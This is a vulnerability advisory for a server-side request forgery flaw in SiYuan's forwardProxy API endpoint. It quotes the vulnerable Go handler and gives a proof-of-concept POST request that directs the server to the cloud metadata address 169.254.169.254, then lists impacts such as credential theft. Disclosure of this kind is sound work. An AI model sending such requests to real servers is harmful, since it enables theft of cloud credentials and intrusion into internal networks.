Description

SiYuan has a Full-Read SSRF via /api/network/forwardProxy

Summary

The /api/network/forwardProxy endpoint allows authenticated users to make arbitrary HTTP requests from the server. The endpoint accepts a user-controlled URL and makes HTTP requests to it, returning the full response body and headers. There is no URL validation to prevent requests to internal networks, localhost, or cloud metadata services.

Affected Code

File: /kernel/api/network.go (Lines 153-317)

func forwardProxy(c *gin.Context) {
    ret := gulu.Ret.NewResult()
    defer c.JSON(http.StatusOK, ret)

    arg, ok := util.JsonArg(c, ret)
    if !ok {
        return
    }...
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PoC

First, authenticate with your access auth code and copy the authenticated cookie.

Now use the request below for SSRF to Access Cloud Metadata.

POST /api/network/forwardProxy HTTP/1.1
Host: <HOST>
Cookie: siyuan=<COOKIE>
Content-Length: 102

{"url":"http://169.254.169.254/metadata/v1/","method":"GET","headers":[],"payload":"","timeout":7000}'

Impact

Internal Network Reconnaissance: Attackers can scan internal services

Cloud Credential Theft: Potential access to cloud metadata and IAM credentials

Data Exfiltration: Server can be used as a proxy to access internal resources

Firewall Bypass: Requests originate from trusted internal IP

Mitigation

Aliases

References